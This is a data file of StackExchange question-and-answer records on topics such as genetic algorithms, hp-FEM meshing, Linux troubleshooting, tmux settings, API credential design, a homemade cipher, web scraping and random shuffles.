{  "id": "_cs.20152"  , "question": "My question concerns genetic algorithm searching along bit strings.Given:$N$ = population size$l$ = length of bit strings$p_c$ = probability that a single crossover occur (double crossover never occur)$p_m$ = probability for a given bit that a mutation occur$w(x)$, the fitness function is equal to the number of 1 in the strings. Therefore, the fitness can take any integer value between 0 and $l$ (the length of the strings).My question is (three ways of formulating the same question):What is the expected total number of possibilities explored in $G$ generations?orWhat is the expected proportion of the total possibility space (which equals $2^l$) that is explored in $G$ generations?orWhat is the expected size of the subset of strings that have ever existed in the population during a simulation that last $G$ generations?Secondary questions:How does the frequency distribution - of the total number of possibilities explored in $G$ generation - looks like?is it a normal (Gauss) distribution?Is it skewed?...I don't quite know how complex is my question. Here are two assumptions that one would like to consider in order to ease the problem.one might want to assume that the population at start is not randomly drawn from the possibility space. He could assume that the whole population is made of identical strings (only one instance). For example, the string 000000000 (which length equals $l$).one might want to assume that $p_c = 0$"  , "title": "Genetic algorithm: What is the expected number of strings that are explored?"  , "tags": "algorithms;optimization;average case;genetic algorithms"  , "accepted_answer": "As I pointed out in the comments, the primary feature of interest for understanding how a genetic algorithm (or evolution, even) explores the fitness landscape is the fitness function. In this case, you specified an extremely simple fitness function with no epistasis. This was a standard assumption for analytical tractability when biology first started out (i.e. most analyses that have Fisher somewhere in the name probably assume no epistasis), but it is seen as less reasonable now. Hence, if your goal was to gain biological intuition, this question will not provide it. Since landscape with epistasis have qualitatively different dynamics.Finally, you don't specify a selection function, so to give you a heuristic answer I will assume one that has strong selection. First note, that at any given time, the number of genotypes you explore is bounded above by the trivial bound of $GN$. To start building a better bound, lets look at Wilf & Evans (2010) that analyzed a no-epistasis model under strong selection is a sexual population (i.e. with recombination). They showed, that it converges to equilibrium (the all $1$s string in your case) in $\\Theta(\\log l)$ (they actually showed a tighter characterization with a careful analysis of radix-sort, but I will leave that exploration upto you) generations (I think we have to assume that $N \\in \\omega(l)$). Thus, you will reach the peak very quickly.On the way to the peak, you will explore $O(N \\log l)$ genotypes. In fact, if the selection strength is very high, then we can assume that the population remains close-to monomorphic in terms of the phenotype specified as number of ones in the genome although polymorphic in terms of the genotype. This can give us a bound of about $O(l^2 \\log l)$.Once you reach the peak, strong selection will keep you there, and any mutants will go extinct after each generation. This means that from there on out, the population will just stay at the string $1^l$ with transient (single-generation) mutants of Hamming-distance one.This gives us a pretty ridiculous bound $\\min (O(GN), O(l^2 \\log l))$. In other words, as long as you look at generations $G \\in \\Omega(\\log l)$ you will only end up sampling an exponentially small fraction of the genome space $O(\\frac{l^2 \\log l}{2^l})$."  } 
{  "id": "_scicomp.8763"  , "question": "Given a one-dimensional function (let's say infinitely differentiable) and a prescribed accuracy of an L2 (or H1) norm, what is the optimal mesh and (in general arbitrary) polynomial orders on each element so that the approximation has the least degrees of freedom? (For example if I have three elements, of orders $p_1=2$, $p_2=4$ and $p_3=10$, then there are $p_1+p_2+p_3+1=2+4+10+1=17$ degrees of freedom.)The answer are the polynomial orders and coordinates of the mesh.In particular, does the most efficient representation have equal polynomial orders on all elements or not?What is the algorithm to find this optimal representation?Naive algorithmFor each total number of elements N=1, 2, 3, ..., we pick all combinations of polynomial orders $p_i$ (e.g. for N=3, we have (1, 1, 1), (2, 1, 1), (1, 2, 1), (1, 1, 2), (2, 2, 1), ..., (100, 1, 1), ...) and we optimize the coordinates of the mesh in order to minimize the L1 norm. A candidate is such a combination of mesh+orders, that has a lower L1 norm than prescribed. We only keep the candidate with the lowest degrees of freedom. We skip combinations of N and $p_i$ which have more degrees of freedom, so the algorithm must eventually terminate.MotivationExamples of functions that I have in mind are numerical solutions of radial Schroedinger or Dirac equations on a finite interval (either as part of DFT or Hartree-Fock), as well as the various corresponding potentials. All these functions are infinitely differentiable and the numerical solver can solve those to arbitrary numerical accuracy. Then I set e.g. $10^{-6}$ in L2 norm and I want to know the most efficient representation in terms of $hp$-FEM degrees of freedom."  , "title": "What is the most efficient way to represent a 1D function using $hp$-finite element basis functions"  , "tags": "optimization;finite element;polynomials;mesh"  , "accepted_answer": "I don't know whether that's already published, but Peter Minev of the University of South Carolina has developed algorithms that produce $hp$ meshes that are provably within a fixed factor of the optimal number of degrees of freedom to represent a given function with a prescribed accuracy $\\varepsilon$.In general, it is quite clear that even for $C^\\infty$ or analytic functions, the optimal mesh will not use the same polynomial degree everywhere. It is easy to conceive functions that will have large derivatives somewhere and be very smooth elsewhere, and if you don't ask for very small tolerances $\\varepsilon$, then it's quite clear that you should use low and high polynomial degrees in these regions, respectively."  } 
{  "id": "_unix.91663"  , "question": "I downloaded and installed s3fs 1.73 on my Debian Wheezy system. The specific steps I took were, all as root:apt-get -u install build-essential libfuse-dev fuse-utils libcurl4-openssl-dev libxml2-dev mime-support./configure --prefix=/usr/localmakemake installThe installation went well and I proceeded to create a file /usr/local/etc/passwd-s3fs with my credentials copied from past notes (I'm pretty sure those are correct). That file is mode 0600 owner 0:0. Piecing together from the example on the web page and the man page, I then try a simple mount as a proof of concept to make sure everything works:$ sudo -i# s3fs mybucketname /mnt -o url=https://s3.amazonaws.com -o passwd_file=/usr/local/etc/passwd-s3fsIn short: it doesn't.The mount point exists with reasonable permissions, and I get no error output from s3fs. However, nothing gets mounted on /mnt, mount has no idea about anything of the sort, and if I try umount it says about the directory not mounted. The system logs say s3fs: ###curlCode: 51  msg: SSL peer certificate or SSH remote key was not OK, but how do I find out which SSL certificate it is talking about or in what way was it not OK? Firefox has no complaints when I connect to that URL but also redirects me to https://aws.amazon.com/s3/.How do I get s3fs to actually work?"  , "title": "s3fs complains about SSH key or SSL cert - how to fix?"  , "tags": "linux;debian;amazon s3;s3fs"  } 
{  "id": "_unix.379113"  , "question": "I am upgrading the kernel on a platform using an ARM SOC (AT91SAM9G25) from 3.2 to 4.4.  This is a sysv system.  The previous 3.2 works fine, but when booting the 4.4 kernel, it hangs after the exec of /sbin/init.  I can specify 'init=/bin/sh' on the U-Boot bootargs and it successfully execs the shell (I get a shell prompt).  From there, things look proper; I can mount /proc, verify that the rootfs is mounted, bring up a NIC interface, etc.I have successfully performed this upgrade on a different platform running a different ARM SOC (AT91SAM9G45).  I compared the kernel configs between this working other platform and the one that hangs.  The only differences are those related to the different SOCs. Kernel configuration differences follow:300,301c300,301< CONFIG_PLATFORM_SLK1=y< # CONFIG_PLATFORM_SLK2 is not set---> # CONFIG_PLATFORM_SLK1 is not set> CONFIG_PLATFORM_SLK2=y421c421< CONFIG_ARM_APPENDED_DTB_FILE=arch/arm/boot/dts/slk1.dtb---> CONFIG_ARM_APPENDED_DTB_FILE=arch/arm/boot/dts/slk2.dtb1061c1061< # CONFIG_MTD_M25P80 is not set---> CONFIG_MTD_M25P80=y1311,1314c1311< CONFIG_NET_VENDOR_MICREL=y< # CONFIG_KS8842 is not set< # CONFIG_KS8851 is not set< # CONFIG_KS8851_MLL is not set---> # CONFIG_NET_VENDOR_MICREL is not set2414c2411,2450< # CONFIG_USB_GADGET is not set---> CONFIG_USB_GADGET=y> # CONFIG_USB_GADGET_DEBUG is not set> # CONFIG_USB_GADGET_DEBUG_FILES is not set> # CONFIG_USB_GADGET_DEBUG_FS is not set> CONFIG_USB_GADGET_VBUS_DRAW=2> CONFIG_USB_GADGET_STORAGE_NUM_BUFFERS=2> > #> # USB Peripheral Controller> #> # CONFIG_USB_AT91 is not set> CONFIG_USB_ATMEL_USBA=y> # CONFIG_USB_FUSB300 is not set> # CONFIG_USB_FOTG210_UDC is not set> # CONFIG_USB_GR_UDC is not set> # CONFIG_USB_R8A66597 is not set> # CONFIG_USB_PXA27X is not set> # CONFIG_USB_MV_UDC is not set> # CONFIG_USB_MV_U3D is not set> # CONFIG_USB_M66592 is not set> # CONFIG_USB_BDC_UDC is not set> # CONFIG_USB_NET2272 is not set> # CONFIG_USB_GADGET_XILINX is not set> # CONFIG_USB_DUMMY_HCD is not set> # CONFIG_USB_CONFIGFS is not set> # CONFIG_USB_ZERO is not set> # CONFIG_USB_AUDIO is not set> # CONFIG_USB_ETH is not set> # CONFIG_USB_G_NCM is not set> # CONFIG_USB_GADGETFS is not set> # CONFIG_USB_FUNCTIONFS is not set> # CONFIG_USB_MASS_STORAGE is not set> # CONFIG_USB_G_SERIAL is not set> # CONFIG_USB_MIDI_GADGET is not set> # CONFIG_USB_G_PRINTER is not set> # CONFIG_USB_CDC_COMPOSITE is not set> # CONFIG_USB_G_ACM_MS is not set> # CONFIG_USB_G_MULTI is not set> # CONFIG_USB_G_HID is not set> # CONFIG_USB_G_DBGP is not set2584,2585c2620,2621< # CONFIG_RTC_DRV_AT91RM9200 is not set< CONFIG_RTC_DRV_AT91SAM9=y---> CONFIG_RTC_DRV_AT91RM9200=y> # CONFIG_RTC_DRV_AT91SAM9 is not set2599c2635< # CONFIG_AT_HDMAC is not set---> CONFIG_AT_HDMAC=y3058c3094< CONFIG_DEBUG_UART_PHYS=0xffffee00---> CONFIG_DEBUG_UART_PHYS=0xfffff200If I boot to a shell (with init=/bin/sh), I can run '/sbin/init -i' and the system boots normally (init has a PID other than 1).  However, 'exec /sbin/init' or 'exec /sbin/init -i' hang.Any ideas on how to figure out where init is hung?"  , "title": "/sbin/init hangs after upgrading linux kernel"  , "tags": "linux;arm;init"  } 
{  "id": "_webmaster.33778"  , "question": "I have a business with two products, lets say boat engines and car engines. Direct from the home page one can click on either cars engines or boat engines. The subpages of each section are then not related. It is almost like two sites with one home page. However there are pages which should be common to both such as About us or Vacancies etc.My web-designer/programmer built this website with two CMSs. One for boat engines and one for car engines. Both were done with Wordpress. My question is: besides double-entering of content for the common pages, what are the pros and cons of having two CMSs. I expect 40% of my company sales to come through this website, therefore any information about the impact on SEO (positive or negative) would be welcome too."  , "title": "One website two CMS"  , "tags": "seo;cms"  } 
{  "id": "_unix.372749"  , "question": "After a press the prefix Ctrl+B in tmux, if I press multiple keys rapidly one after the other, they are registered as tmux commands. For example, if I press Ctrl+B, Down, Down, it will go down two panes.However, this interfere with Bash history so if I press Ctrl+B, Down, and then Up again to bring up the last typed command, it's going to go back to the previous pane instead. So I need to press Ctrl+B, Down, wait for a second or two, then Up.How can I disable this behaviour? Basically I'd like tmux to register the keypress after Ctrl+B but not the ones after that. Any idea if it can be done?"  , "title": "Don't allow multiple keypresses after prefix in tmux"  , "tags": "keyboard shortcuts;tmux"  , "accepted_answer": "The repeat-time option, at 500 milliseconds by default, controls how long to wait for the same command key, provided that key has been bound with bind-key -r option, which is the case for things like Down:bind-key -r    Down select-pane -DSo you can either reduce the time or redo the bindings without -rset-option -g repeat-time 10# orbind-key      Up select-pane -Ubind-key    Down select-pane -Dbind-key    Left select-pane -Lbind-key   Right select-pane -Rbind-key    M-Up resize-pane -U 5bind-key  M-Down resize-pane -D 5bind-key  M-Left resize-pane -L 5bind-key M-Right resize-pane -R 5bind-key    C-Up resize-pane -Ubind-key  C-Down resize-pane -Dbind-key  C-Left resize-pane -Lbind-key C-Right resize-pane -R"  } 
{  "id": "_webapps.102131"  , "question": "Gmail has a maximum of 250 contacts on a single page. If I wanted to view or extract all the contacts to bypass this restriction what would I have to do? A method using Firebug or the Google Dev tools would be appreciated. Also, viewing the 2016 version of the contacts page is not an option. "  , "title": "How to view more than 250 contacts on Gmail"  , "tags": "google contacts"  } 
{  "id": "_unix.326126"  , "question": "I followed this guide from DigitalOcean to install gnome for my CentOS 7 vps, and I got the gnome access with my user account with sudo privilege.But the message pops up: Authentication is required to install software or Authentication is required to create a color managed device Administrator password: I tried no password, my account's password, and root password, none of them worked.I tried to do this, and add X-GNOME-Autostart-enabled=false to gnome-software-service.desktop, did not help.There is no such user as 'Administrator', how do I remove the authentication check?"  , "title": "CentOS gnome vnc required authentication of administrator"  , "tags": "centos;gnome;authentication;vnc;vps"  } 
{  "id": "_webmaster.90938"  , "question": "We are currently redirecting all website traffic to a static html page using javascript in the header of each page (the site will be like this for 4 days). I'm concerned about the potential SEO impact.The static HTML page currently has index 'no follow' and the other pages do still exist. It is just that the javascript when someone reaches those other pages sends them to the landing page via the below method. Here's the script:<script type=text/javascript>   <!--    window.location = http://www.mydomain.co.uk/landing-page.html   //--></script>Can anyone advise best practice in terms of this redirect? Thank you."  , "title": "Redirecting all traffic to an HTML landing page"  , "tags": "seo;redirects;landing page"  } 
{  "id": "_unix.172112"  , "question": "I am backing a file system with ufsdump.In order to gain space in the remote file system I backup to stdout then pipe the output to compress. I find is more efficient that backuping up and then running gzip.so basically i have this command:/usr/sbin/ufsdump 0uf - / | compress -c -v > /backup/$HOST/root-$DATE-full.dump.Z I would like to save the diagnostic information of ufsdump to a file for monitoring and checking out if the dump completed successfully. but this does not seem to be possible with the command above? please note that if I backup to a file instead of standard output i can capture the diagnostics of ufsdump without problem. thanks "  , "title": "capture log of ufsdump when backup to stdout"  , "tags": "logs;solaris;stdout;stderr"  } 
{  "id": "_cogsci.15536"  , "question": "I learned about this but forget its name. The idea is that when people hear a word or think of a concept they tend to come up with certain examples that fit the idea more than others. For example, if people think of birds, they tend to think of sparrows or seagulls, not penguins, even though penguins fit the definition of bird perfectly. If people are told to imagine a chair, they tend to think of one with 4 legs, probably made of wood, not something like a movie theater chair. What's the name for this?"  , "title": "What's the term in psychology for the way people think of concepts using examples?"  , "tags": "terminology"  } 
{  "id": "_softwareengineering.257142"  , "question": "Is it possible to act as a MySQL server in a Java or Android application, such that applications like HeidiSQL can connect to it? What I want to do is to write an application for Android which behaves as a MySQL server for an arbitrary database on that device. Since there are many MySQL clients that can connect to MySQL servers, it would be ideal if I could mimic such a server.As it currently stands, I have three options:Use some sort of MySQL server library (if that exists);Write the server myself, including implementing the (trivial/needed parts of the) protocol (is this feasible?);Drop the MySQL server approach altogether and write a specific client/server myself.In the end, the server (Android application) should be able to process and respond to simple queries a client sends to it.Which options are feasible, and best suitable?"  , "title": "Act as MySQL server in Java/Android"  , "tags": "java;mysql;server"  , "accepted_answer": "Sit down and write the client/server properly yourself.If you are not willing to implement all of the protocol, just doing part of it can leave you with significant and strange breakages when some application tries to:prepare a statementiterate over a result setdo a transaction (and a rollback!)do something 'at the same time' as another thing (can you do a update foo set bar = bar + 1 without getting into an infinite loop?)do nested statements (example:SELECT  PLAYERS.PLAYERNO, NAME,   (SELECT   COUNT(*)    FROM     PENALTIES    WHERE    PLAYERS.PLAYERNO =             PENALTIES.PLAYERNO) AS NUMBER_OF_PENALTIES,   (SELECT   COUNT(*)    FROM     TEAMS    WHERE    PLAYERS.PLAYERNO =             TEAMS.PLAYERNO) AS NUMBER_OF_TEAMSFROM    PLAYERSThis isn't just for trying to present the I'm a MySQL server to the world but just I'm an SQL server to the world...There are simpler things than a MySQL server.  You could go for just I'm a database and use ODBC to connect to it rather than trying to mirror MySQL.  Or something like GNOME-DB.All of this, however, presupposes that the data that you have behind this interface is actually relational and can be queried in a relational manner.  If it isn't you may be finding yourself with the object-relational impedance mismatch in reverse (and then back again?).Thus, returning back to my original suggestion.  Write the client and server in accordance with the data that you have modeled behind it.  Trying to write something that matches the appearance of a database is going to involve nearly writing a database... and that is no little task."  } 
{  "id": "_webmaster.47466"  , "question": "I have a web application that communicates to a web service deployed on the same server. The web app was written with Tibco General Interface and works well only when it is running locally on the development system. When I deploy the web app to the Apache server it fails with code 200 apparently due to cross domain data. I use Firefox as a browser. I have tried changing Internet Explorer to access cross domain data and it works however IE is not an option.Web application runs on 192.168.2.205 (port 80).Web service runs on 192.168.2.205:8040I have tried a number of things with proxypass inside Apache with no luck."  , "title": "Setup basic proxypass in Apache"  , "tags": "apache;configuration"  } 
{  "id": "_unix.192443"  , "question": "Can someone please help me with a command to search a file for a string in multiple directories? I am searching for the VIP in httpd.conf in multiple httpd instances.I am using:find ./ -name httpd.conf | xargs grep 10.22.0.141 cut -d: -f3- | cut -d ' ' -f4 | sort | uniq -c But its not working.charl@rom11-TEST $ ls -latrtotal 124...drwxrwxr-x 7 root root 4096 Mar 9 13:41 bofac-Wrapperdrwxr-xr-x 7 root root 4096 Jul 29 2014 bofac-admindrwxrwxr-x 7 root root 4096 Jul 29 2014 bofac-chas-testdrwxrwxr-x 7 root root 4096 Jul 29 2014 bofac-chasdps-testdrwxrwxr-x 7 root root 4096 Oct 10 14:09 bofac-vpn-chas-test...Basically the httpd instances are highlighted but I would ideally run the command against the entire directory."  , "title": "Search a file for a string in multiple directories"  , "tags": "command line;text processing;files;grep;find"  } 
{  "id": "_webapps.58017"  , "question": "I am not super computer literate. I am trying to use the equations to grade my Google quiz, the problem is that there is a quote in the answer. Is there a different symbol I need to use?This is what I have right now: =if(C2= Aubrey said, you are my favorite friend., 10, 0)The answer is Aubrey said, you are my favorite friend. I would just omit the quotes in the answer but it meant for an English quiz, so that may be sending the wrong message. "  , "title": "How do I output a string containing quotation marks?"  , "tags": "google spreadsheets;formulas"  } 
{  "id": "_cstheory.8829"  , "question": "I have read in several papers that the existence of one-way functions is widely believed. Can someone shed light on why this is the case? What arguments do we have for supporting the existence of one-way functions?"  , "title": "Arguments for existence of one-way functions"  , "tags": "cc.complexity theory;cr.crypto security;big picture;one way function"  } 
{  "id": "_vi.9412"  , "question": "I like having netrw loaded for browsing directory contents when I open '.' and for downloading webpages when I split http://host/path, but it's really getting in the way of opening files with gF or ^wf when netrw doesn't understand the protocol.I'm editing a sizable library of Salt statelists for a project, and they have a lot of Salt filesystem URLs in the configs (salt://path/path/file) that I'd like to be able to split into with gF and ^wf. There's no hope for netrw understanding these as built-ins, which is acceptable. Some local config would be required to explain to vim where the files really are.I'd like a local config to teach netrw to open them or some other method of bypassing netrw so I can open them.I tried to use:set includeexpr=substitute(v:fname, salt://, location/of/file_root/).It took me quite a while to figure out includeexpr was never being applied. What seems to happen is that netrw handles the URL, decides it's a filename, and fails to execute includeexpr.What are my options here? disable netrw in BufEnter for files I'm likely to see the salt urls? preemptively fire includeexpr before netrw can get to it? Also, where would you set events that happen before netrw fires?"  , "title": "open salt://whatever as somedir/whatever"  , "tags": "vimscript;netrw"  } 
{  "id": "_softwareengineering.197891"  , "question": "Is there a way to show and save all final definitions entered into a Scheme REPL into a text file?Say, if I have defined in the REPL:    (define (increase x) (+ 1 x))    (define (multbytwo x) (* 3 x)) ; let us say this was an error    (define (multbytwo x) (* 2 x))I want to save this into an .scm-file with the content:    (define (increase x) (+ 1 x))    (define (multbytwo x) (* 2 x))i.e. the multbytwo function that got defined erraneously shall be forgotten due to re-definition. Is this possible?"  , "title": "Final Scheme REPL definitions: how to save them?"  , "tags": "scheme"  } 
{  "id": "_codereview.102246"  , "question": "I wrote this encrypter based on the idea of a Vigenere cipher, but instead of using only one key, it makes another key from the existing key. The length of the second key also depends on the different characters in the first key. And so it uses both keys in the shifting of letters.def scram(key):    key2 = []    #make the length of the second key varying from key to key for harder cracking    length = (key[0]-32)+(key[int(len(key)/2)]-32)+(key[len(key)-1]-32)    #make the max length = 256    length = length % 256    #if the length is less than 64, multiply by two to make it longer    while(length < 64):        length*=2    #scrambles the letters around    for x in range(length):        #basically shifts the key according to the current character,        #how many times it has looped the key, where it is in the key,        #and the modulo of x and a few prime numbers to make sure that         #an overlap/repeat doesn't happen.        toapp = (x%(len(key)-1)) + (x/(len(key)-1)) + (key[x%(len(key)-1)]) + (x%3) +(x%5)+(x%53)+(x%7)                           toapp = int(toapp % 94)        key2.append(toapp)    return key2def cipher(mes,key,ac):    #makes the second key    key2 = scram(key)    res=[]    #do proper shifting in the keys    for x in range(len(mes)):        temp=mes[x]        if(action == 2):            temp = temp - key[x%(len(key)-1)] - key2[x%(len(key2)-1)]        else:            temp = temp + key[x%(len(key)-1)] + key2[x%(len(key2)-1)]                        temp = int(temp % 94)        res.append(chr(temp+32))    return res#encrypt or decryptaction = input(type 1 to encypt. type 2 to decrypt:)#inputm= input(Text:)k= input(key - 4 or more char:)#changes the letters to ascii valuemes= []for x in m:    mes.append(ord(x)-32)key= []for x in k:    key.append(ord(x)-32)#encrypts it    result = cipher(mes,key,action)for x in result:    print(x,end=)print()y = input(Press enter to continue...)Are there more efficient ways to do it? Is this a safe way to encrypt text? Can you crack the text encrypted with this program?"  , "title": "Encrypter - Double Vigenere Cipher in Python"  , "tags": "python;python 3.x;security;vigenere cipher"  } 
{  "id": "_softwareengineering.354973"  , "question": "I am currently developing my own project where I want to use an API to connect to the database on a web server.I understand that when requesting data, you should use GET and when you want to upload data, you should use POST / PUT. The problem occurs when you want to log a user in. You are requesting data, meaning it should be a GET request, however, you do not want the user credentials in the URL since that would be stored on the users history and other networking tools may be able to pick it up since it would not be secured with https.What would be the best way of requesting user data through an API? I am making the API with the Slim Framework and am requesting the data via an iOS application I am developing in swift. Apart from using the GET method, my API uses JSON to transmit the data.The credentials I am talking about are to log the user into their account and not API credentials."  , "title": "How to transmit credentials in API"  , "tags": "api;api design"  , "accepted_answer": "The short answer is that you don't.When dealing with web services, a current common approach is to use JWT (it's specified with OAuth2 and other identity frameworks).Your authentication service validates the user's credentials, and provides a token for you to pass to your web services.  With this approach, your web service never deals with the credentials directly.If for some reason you need to pass the credentials, the same JWT package allows you to have an encrypted envelope to provide the password, but I would argue against this if you can avoid it.The approach to pass the JWT is the same regardless of the method (GET, POST, PUT, DELETE, PATCH, etc.).Pass the JWT with the Authentication headerYour token is a Bearer token, so the value is Bearer: big.jwt.tokenJWT tokens can be validated, parsed, and used without round trips to authentication services, so they really help with the authorization process.In general web applications should avoid passing user credentials to the database directly.  That makes it difficult to pool connections which are expensive to create, and have real world cost implications if you have per-user licensing agreements.  I understand that some applications need to do data concealment based on user permissions, but there are several ways to handle that process.  Just about everything you need can be contained in the JWT."  } 
{  "id": "_codereview.71163"  , "question": "Is there any way to write is C function better so the procedure could spend less time to calculate the results?Assume that the array size is 1.000.000 and  all the numbers are greater than 0.The function read the array backwards, saves the first number to maximum, then check the next number, a, and if it's greater than the maximum, it adds +1 to total. Then the maxinum takes the value of a and procide to next one until the end of array.static int total = 1;int chck_high( int *my_array, int *endp) {    // this function should only be called if there is at least one value in the array    int maximum = *(--endp);    while ( endp > my_array ) {        int a = *(--endp);        if ( a > maximum ) {            total++;            maximum = a;        }    }    return maximum;}I tried to use unsigned ints, but I don't know if it's worth it. Can someone please tell me if there is a better way to write that code?Previous version of the code:int process( int *my_array, int *endp) {     int a, b;     //static int total = 1;    if ( my_array == 0 ) return 0;     if ( my_array == endp ) return INT_MIN;    else a = *my_array++;     if ( (b= process( my_array, endp )) == INT_MIN ) return a;     if ( a > b )     {total++; return printf( %d > %d and total now is %d\\n, a, b, total ), a; }     return b; } The two functions called with the following code:chck_high(my_array, my_array + count);where my_array is my array with nums and count is the number that says the size of the array."  , "title": "Counting the out-of-order elements of an array"  , "tags": "performance;c;array;comparative review"  , "accepted_answer": "Avoid static variables as much as possible.Instead of static total, you could pass in a pointer to total and make the function modify the value it's pointing to.The names are not great:Instead of my_array, start would be betterInstead of endp, end would be betterInstead of chck_high, ... I don't know what would be better, because I don't really see the general logic this function represents. It counts the number of times a new local maximum is found going backwards from the end of the range, and sets the value of total. I'm wondering if this logic is really necessary in this form, or perhaps the overall logic of your program could be redesigned to simpler elements.Instead of a comment like this:// this function should only be called if there is at least one value in the arrayIt would be better to use an assertion:assert(start < end);Note that this requires to #include <assert.h>This maybe a matter of taste, but I would find a for loop would be more natural for this instead of while. Using a for loop, in C99 and above, you could declare the loop variable inside the for, which would have extra benefits:It would help you limit variables in the smallest scope necessary (inside the loop)It would force you to use a new local variable for looping, instead of reusing the function parameter, which is a good thingPutting it together, the function would become:int chck_high(int *start, int *end, int *total) {    assert(start < end);    int maximum = *--end;    for (int * pos = end; pos > start; --pos) {        int a = *pos;        if ( a > maximum ) {            ++*total;            maximum = a;        }    }    return maximum;}To enable C99 mode when compiling with gcc, use the -std=c99 flag.You can use the function like this, for example:int main() {    int arr[] = {1, 2, 51, 41, 4, 5};    int total = 1;    int maximum = chck_high(&arr[0], &arr[0] + 6, &total);    printf(total=%d max=%d\\n, total, maximum);}"  } 
{  "id": "_unix.294351"  , "question": "is there a way to wget a website and put it's tabular content in .csv? or maybe a cURL request a webpage, grab it's tabular content represented in numbers that consists of HTML to .csv? "  , "title": "wget a website to csv"  , "tags": "linux;wget"  , "accepted_answer": "PHP has a class DOMDocument that you can use to retrieve and parse html.  this code will fetch and extract the rows from the webpage. There is still more work necessary to extract the specific items you want but if you are willing to learn some PHP this will get you started<?php$html = file_get_contents('http://currency.poe.trade/search?league=Prophecy&online=x&want=1&have=4');$doc = new DOMDocument;$doc->loadHTML($html);$xpath = new DOMXpath($doc);$rows = $xpath->query('//div[contains(@class, row)]'); //instance of DOMNodeListforeach ($rows as $row) {    // var_dump($row);    echo Found {$row->nodeValue};}You can run the code above by copying and pasting in this online PHP interpreterWhen I run it I get the following sample output (truncated)Found Currency market // Prophecy  go to item trades Protip Arrows always point from what you pay to what you get. (You get  You pay) Currency search Manage your shop Show search form League ProphecyHardcore ProphecyStandardHardcore Online only Off On What do you want? What do you have? Reset .... [more output]once you've extracted the info you want then its pretty simple to just make each item of interest delimited by a , then insert and newline for each record and then you'll have a CSV file.Note: for debugging you will need to dump a DOMelement in its HTML/XML markup format. You can use this:$xml = $domElement->ownerDocument->saveXML($domElement);or alternatively$html = $domElement->ownerDocument->saveHTML($domElement);more background at:http://php.net/manual/en/class.domelement.php"  } 
{  "id": "_scicomp.18908"  , "question": "I have two time-dependent coupled equations. One of which is several orders of magnitude more computationally demanding than the other. I am trying to use machine learning to reproduce the behavior of the more expensive equation. equation 1input: c(t), a(t)output a(t+dt)equation 2input: a(t)output: c(t+dt)So essentially I want to reconstruct the response of equation 2. Keep in mind that internally there are variables in equation 2 which retain 'memory' of the previous states. So the response depends on the history of input.Any advice on where to start or what methods have been developed for this type of system? OR if there is a more appropriate place to post this?edit: some more details, this is a multiscale simulationequation 1 is a simple finite difference equation$a(x,t+dt) = 2a(x,t) - a(x,t-dt) + \\frac{dt^2}{dx^2} \\left[ a(x+dx,t)-2a(x,t) + a(x-dx,t) \\right] + dt^2 c(x,t)$for the second part at each x I have a time-dependent set U(t) to propogate to U(t+dt). This propagation depends on an input a(x,t) and produces c(x,t+dt) to be fed back into the first equation. The details of this part are a bit convoluted/involved, but the essential point is that I want to avoid explicitly storing or propagating U (very very very expensive e.g. 10,000+ cpu cores needed)EDIT2:A NARX network seems to be able to do almost what I want. However, I have a number of different 'examples' which I want the network to learn from. Maybe the only way I can do it is to stitch everything together into one big (input, output) set?http://www.mathworks.com/help/nnet/ug/design-time-series-narx-feedback-neural-networks.html"  , "title": "approximation of nonlinear time-dependent system with history"  , "tags": "machine learning;time integration;approximation algorithms;support vector machines"  } 
{  "id": "_unix.363121"  , "question": "One of the study questions I'm doing is suggesting that I apply ACL's for the /root directory recursively for a regular user on the system. Obviously, this is bad security practice but it's just for practice inside a VM and I will remove the ACL once I'm done.I've tried like this:setfacl -R -m u:username:rwx /rootBut when I log in as username I just get every file as rwx permissions, including text files and other non executables.Is there a neater way that copies permissions into the ACL from regular ugo permissions, or would that involve a bit of bash scripting?"  , "title": "setfacl a whole directory containing assorted file types?"  , "tags": "permissions;acl"  , "accepted_answer": "I found that it wasn't necessary to use the recursive (-R) switch in this case.Just doing this:setfacl -m u:username:rwx /rootWas enough to give me execute access to /root as normal user and also tried copying some executables into the directory and subdirectories. They ran just as if I were accessing my home directory.Thanks to vfbsilva for the reply, which made me try the simpler approach. I have upvoted their comment."  } 
{  "id": "_cs.2576"  , "question": "We are given a random number generator RandNum50 which generates a random integer uniformly in the range 150.We may use only this random number generator to generate and print all integers from 1 to 100 in a random order. Every number must come exactly once, and the probability of any number occurring at any place must be equal.What is the most efficient algorithm for this?"  , "title": "Most efficient algorithm to print 1-100 using a given random number generator"  , "tags": "algorithms;integers;randomness;random number generator"  , "accepted_answer": "I thought (so it can be wrong :-) of this $O(N^2)$ solution that uses the Fisher-Yates shuffle. In order to keep uniform distribution with good approximation (see EDIT section below) at every iteration you can use this trick  to produce a value krand between $0$ and $k-1$: // return a random number in [0..k-1] with uniform distribution // using a uniform random generator in [1..50] funtion krand(k) {       sum = 0   for i = 1 to k do sum = sum + RandNum50() - 1   krand = sum mod k }The Fisher-Yates algorithm becomes:arr : array[0..99]for i = 0  to 99 do arr[i] = i+1; // store 1..100 in the arrayfor i = 99 downto 1 {  r = krand(i+1)  // random value in [0..i]  exchange the values of arr[i] and arr[r]}for i = 0 to 99 do print arr[i]EDIT:As pointed out by Erick the krand function above doesn't return a truly uniform distribution. There are other methods that can be used to get a better (arbitrarily better) and faster approximation; but (up to my knowledge) the only way to get a truly uniform distribution is to use the rejection sampling: pick $m = \\lceil \\log_2(k) \\rceil$ random bits and if the number $r$ obtained is less than $k$ return it, otherwise generate another random number; a possible implementation:function trulyrand(k) {    if (k <= 1) return 0    while (true) { // ... if you're really unlucky ...      m = ceil(log_2 (k) ) // calculate m such that k < 2^m      r = 0  // will hold the random value      while (m >= 0) {  // ... will add m bits                if ( rand50() > 25 ) then b = 1 else b = 0   // random bit        r = r * 2 + b  // shift and add the random bit        m = m - 1      }            if (r < k) then return r  // we have 0<=r<2^m ; accept it, if r < k    }}"  } 
